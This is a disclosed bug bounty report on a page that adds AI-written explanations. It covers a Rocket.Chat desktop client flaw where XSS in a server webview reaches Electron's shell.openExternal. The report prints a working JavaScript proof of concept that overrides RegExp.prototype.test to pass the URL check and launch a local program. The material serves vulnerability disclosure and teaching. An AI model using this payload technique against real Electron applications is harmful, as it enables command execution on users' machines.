XSS leads to RCE on the RocketChat desktop client.
A cross-site scripting flaw in the Rocket.Chat desktop client allowed JavaScript running inside a server webview to reach Electron's shell.openExternal API. An attacker could then open arbitrary URLs, which on the affected platform led to running local programs and so to command execution.
Originally disclosed on HackerOne
- Triaged in 17 hours
- Fixed in 6 months
- Disclosed after 7 months
Summary: It is possible to call electron.shell.openExternal from javascript inside a server webview.
Description: The document onclick handler allows executing electron.shell.openExternal by crafting an attacker-controlled link and dispatching a click event on it after overwriting Regex.test.
Releases Affected:
- Rocket.Chat Desktop Client up to version 2.17.9
Steps To Reproduce (from initial installation to vulnerability):
- Have a XSS vulnerability such as #894462 or #899954.
- Call the following payload (for macos, adjust for other OSes as required):
(function() {
const payload = `file:///System/Applications/Calculator.app`;
var counter = 0;
var target = document.createElement(`a`);
target.setAttribute(`href`, payload);
document.body.appendChild(target);
var old_test = RegExp.prototype.test;
RegExp.prototype.test = function (s) {
if (s === payload) {
return (++counter > 3);
}
return old_test.call(this, s);
};
target.dispatchEvent(new Event(`click`));
})();
- Browse to a page with the XSS payload.
- Use your freshly opened calculator to calculate the result of 7*191.
Impact
An attacker with a XSS vulnerability in RocketChat such as #894462 or #899954 can call electron.shell.openExternal with arbitrary URLs, leading to arbitrary command execution.
Attachments

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the desktop client exposed Electron's shell.openExternal to untrusted webview content without restricting which URLs or schemes could be opened.
Impact
An attacker who already had a cross-site scripting bug in Rocket.Chat could open arbitrary URLs through the desktop client, leading to arbitrary command execution.
What the attacker needed
An existing XSS bug in Rocket.Chat; victim uses the desktop client; victim opens the malicious page
How it was found
- Obtain a cross-site scripting foothold in the Rocket.Chat client.
- Create a link element whose target is a local file URL.
- Override the regular expression test function so the app's URL check passes.
- Dispatch a click event on the link.
- Visit the page carrying the script and observe the launched program.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The desktop app shows chat content inside a built-in browser view. If an attacker can slip their own script into that content (a cross-site scripting bug), the script can talk to the app's privileged features. One of those features opens links in the operating system, so the script could make the computer launch a program instead of a harmless web page.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.